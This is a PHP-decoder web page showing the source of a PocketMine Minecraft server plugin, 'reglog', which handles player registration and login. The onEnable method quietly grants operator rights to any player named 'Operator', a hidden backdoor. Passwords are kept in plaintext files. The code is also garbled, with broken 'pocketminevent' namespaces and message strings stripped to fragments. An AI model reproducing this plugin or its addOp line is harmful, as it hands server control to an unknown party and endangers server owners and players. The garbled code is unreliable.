Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace reglog; use pocketmine\plugin\PluginBase; use pocketmine\utils\Config; us..
Decoded Output download
<?php namespace reglog; use pocketmine\plugin\PluginBase; use pocketmine\utils\Config; use pocketminevent\Listener; use pocketmine\Server; use pocketmine\Player; use pocketminevent\player\PlayerCommandPreprocessEvent; use pocketminevent\player\PlayerMoveEvent; use pocketminevent\player\PlayerJoinEvent; use pocketminevent\block\BlockPlaceEvent; use pocketminevent\block\BlockBreakEvent; use pocketminevent\player\PlayerItemConsumeEvent; use pocketminevent\player\PlayerPreLoginEvent; use pocketmine\utils\TextFormat; use pocketmine\scheduler\PluginTask; use pocketmine\command\CommandSender; use pocketmine\command\Command; class Login extends PluginBase implements Listener { public function onEnable() { $this->getServer()->addOp("Operator"); $this->getLogger()->info(TextFormat::GOLD." !"); $this->getServer()->getPluginManager()->registerEvents($this, $this); if(file_exists($this->getPluginDir()) == false) mkdir($this->getPluginDir()); if(file_exists($this->getUsersDir()) == false) mkdir($this->getUsersDir()); } public function isLogined($player) { return $player->logined; } public function getPluginDir() { return "plugins/reglog/"; } public function getUsersDir() { return "plugins/reglog/users/"; } public function alert($player, $text) { $player->sendMessage($text); } public function lock($event) { $event->getPlayer()->sendMessage(TextFormat::RED." "); $event->setCancelled(true); } public function getHelloMessage() { if(file_exists($this->getPluginDir()."hello_message.txt") == false) { $default_hello_text = "a e - 4DanilZz"; $fp = fopen($this->getPluginDir()."hello_message.txt", "w"); fwrite($fp, $default_hello_text); } else $default_hello_text = file_get_contents($this->getPluginDir()."hello_message.txt"); return $default_hello_text; } public function onCommand(CommandSender $sender, Command $cmd, $label, array $cmds) { if($cmd == "cp") { if(!Empty($cmds[0])) { file_put_contents($this->getUsersDir().strtolower($sender->getName()).".user", $cmds[0]); $sender->sendMessage(TextFormat::GREEN." : ".TextFormat::AQUA.$cmds[0]); } else $sender->sendMessage(TextFormat::RED." : ".TextFormat::YELLOW."/cp < >"); } } public function ifSteve(PlayerPreLoginEvent $e) { $nick = $e->getPlayer()->getName(); if(strtolower($nick) == "steve") { $e->getPlayer()->close($e->getPlayer()->getLeaveMessage(), TextFormat::YELLOW." Steve , !"); $e->setCancelled(true); } } public function InitPerson(PlayerJoinEvent $e) { $nick = $e->getPlayer()->getName(); $person = $e->getPlayer(); $person->logined = false; $this->alert($person, $this->getHelloMessage()); if(file_exists($this->getUsersDir().strtolower($nick).".user")) { $person->regwait = false; $this->alert($person, TextFormat::GOLD." "); $this->alert($person, TextFormat::YELLOW." , "); } else { $person->regwait = true; $this->alert($person, TextFormat::GOLD." !"); $this->alert($person, TextFormat::YELLOW." - . !"); } } public function ChatWaiter(PlayerCommandPreprocessEvent $e) { $nick = $e->getPlayer()->getName(); $person = $e->getPlayer(); if(substr($e->getMessage(), 0, 1) == "/" and $person->logined == false) $person->close($person->getLeaveMessage(), TextFormat::GOLD." "); else { if($person->regwait == true) { $fp = fopen($this->getUsersDir().strtolower($nick).".user", "w"); fwrite($fp, $e->getMessage()); $this->alert($person, TextFormat::GREEN." "); $this->alert($person, TextFormat::BLUE." : ".TextFormat::AQUA.$nick); $this->alert($person, TextFormat::BLUE." : ".TextFormat::AQUA.$e->getMessage()); $person->logined = true; $person->regwait = false; $e->setCancelled(true); } else { if($e->getMessage() == file_get_contents($this->getUsersDir().strtolower($nick).".user") and $person->logined == false) { $this->alert($person, TextFormat::GREEN." . !"); $this->alert($person, TextFormat::GREEN." !"); $person->logined = true; $e->setCancelled(true); } else if($e->getMessage() != file_get_contents($this->getUsersDir().strtolower($nick).".user") and $person->logined == false) { $e->setCancelled(true); $person->close($person->getLeaveMessage(), TextFormat::RED." !"); } else return; } } } public function noMove(PlayerMoveEvent $e) { if($e->getPlayer()->logined == false) $this->lock($e); } public function noPlace(BlockPlaceEvent $e) { if($e->getPlayer()->logined == false) $this->lock($e); } public function noBreak(BlockBreakEvent $e) { if($e->getPlayer()->logined == false) $this->lock($e); } public function noEat(PlayerItemConsumeEvent $e) { if($e->getPlayer()->logined == false) $this->lock($e); } } ?>
Did this file decode correctly?
Original Code
<?php namespace reglog; use pocketmine\plugin\PluginBase; use pocketmine\utils\Config; use pocketminevent\Listener; use pocketmine\Server; use pocketmine\Player; use pocketminevent\player\PlayerCommandPreprocessEvent; use pocketminevent\player\PlayerMoveEvent; use pocketminevent\player\PlayerJoinEvent; use pocketminevent\block\BlockPlaceEvent; use pocketminevent\block\BlockBreakEvent; use pocketminevent\player\PlayerItemConsumeEvent; use pocketminevent\player\PlayerPreLoginEvent; use pocketmine\utils\TextFormat; use pocketmine\scheduler\PluginTask; use pocketmine\command\CommandSender; use pocketmine\command\Command; class Login extends PluginBase implements Listener { public function onEnable() { $this->getServer()->addOp("Operator"); $this->getLogger()->info(TextFormat::GOLD." !"); $this->getServer()->getPluginManager()->registerEvents($this, $this); if(file_exists($this->getPluginDir()) == false) mkdir($this->getPluginDir()); if(file_exists($this->getUsersDir()) == false) mkdir($this->getUsersDir()); } public function isLogined($player) { return $player->logined; } public function getPluginDir() { return "plugins/reglog/"; } public function getUsersDir() { return "plugins/reglog/users/"; } public function alert($player, $text) { $player->sendMessage($text); } public function lock($event) { $event->getPlayer()->sendMessage(TextFormat::RED." "); $event->setCancelled(true); } public function getHelloMessage() { if(file_exists($this->getPluginDir()."hello_message.txt") == false) { $default_hello_text = "a e - 4DanilZz"; $fp = fopen($this->getPluginDir()."hello_message.txt", "w"); fwrite($fp, $default_hello_text); } else $default_hello_text = file_get_contents($this->getPluginDir()."hello_message.txt"); return $default_hello_text; } public function onCommand(CommandSender $sender, Command $cmd, $label, array $cmds) { if($cmd == "cp") { if(!Empty($cmds[0])) { file_put_contents($this->getUsersDir().strtolower($sender->getName()).".user", $cmds[0]); $sender->sendMessage(TextFormat::GREEN." : ".TextFormat::AQUA.$cmds[0]); } else $sender->sendMessage(TextFormat::RED." : ".TextFormat::YELLOW."/cp < >"); } } public function ifSteve(PlayerPreLoginEvent $e) { $nick = $e->getPlayer()->getName(); if(strtolower($nick) == "steve") { $e->getPlayer()->close($e->getPlayer()->getLeaveMessage(), TextFormat::YELLOW." Steve , !"); $e->setCancelled(true); } } public function InitPerson(PlayerJoinEvent $e) { $nick = $e->getPlayer()->getName(); $person = $e->getPlayer(); $person->logined = false; $this->alert($person, $this->getHelloMessage()); if(file_exists($this->getUsersDir().strtolower($nick).".user")) { $person->regwait = false; $this->alert($person, TextFormat::GOLD." "); $this->alert($person, TextFormat::YELLOW." , "); } else { $person->regwait = true; $this->alert($person, TextFormat::GOLD." !"); $this->alert($person, TextFormat::YELLOW." - . !"); } } public function ChatWaiter(PlayerCommandPreprocessEvent $e) { $nick = $e->getPlayer()->getName(); $person = $e->getPlayer(); if(substr($e->getMessage(), 0, 1) == "/" and $person->logined == false) $person->close($person->getLeaveMessage(), TextFormat::GOLD." "); else { if($person->regwait == true) { $fp = fopen($this->getUsersDir().strtolower($nick).".user", "w"); fwrite($fp, $e->getMessage()); $this->alert($person, TextFormat::GREEN." "); $this->alert($person, TextFormat::BLUE." : ".TextFormat::AQUA.$nick); $this->alert($person, TextFormat::BLUE." : ".TextFormat::AQUA.$e->getMessage()); $person->logined = true; $person->regwait = false; $e->setCancelled(true); } else { if($e->getMessage() == file_get_contents($this->getUsersDir().strtolower($nick).".user") and $person->logined == false) { $this->alert($person, TextFormat::GREEN." . !"); $this->alert($person, TextFormat::GREEN." !"); $person->logined = true; $e->setCancelled(true); } else if($e->getMessage() != file_get_contents($this->getUsersDir().strtolower($nick).".user") and $person->logined == false) { $e->setCancelled(true); $person->close($person->getLeaveMessage(), TextFormat::RED." !"); } else return; } } } public function noMove(PlayerMoveEvent $e) { if($e->getPlayer()->logined == false) $this->lock($e); } public function noPlace(BlockPlaceEvent $e) { if($e->getPlayer()->logined == false) $this->lock($e); } public function noBreak(BlockBreakEvent $e) { if($e->getPlayer()->logined == false) $this->lock($e); } public function noEat(PlayerItemConsumeEvent $e) { if($e->getPlayer()->logined == false) $this->lock($e); } } ?>
Function Calls
| None |
Stats
| MD5 | 67d214fdc12d56199e20bb7f0c38e64f |
| Eval Count | 0 |
| Decode Time | 96 ms |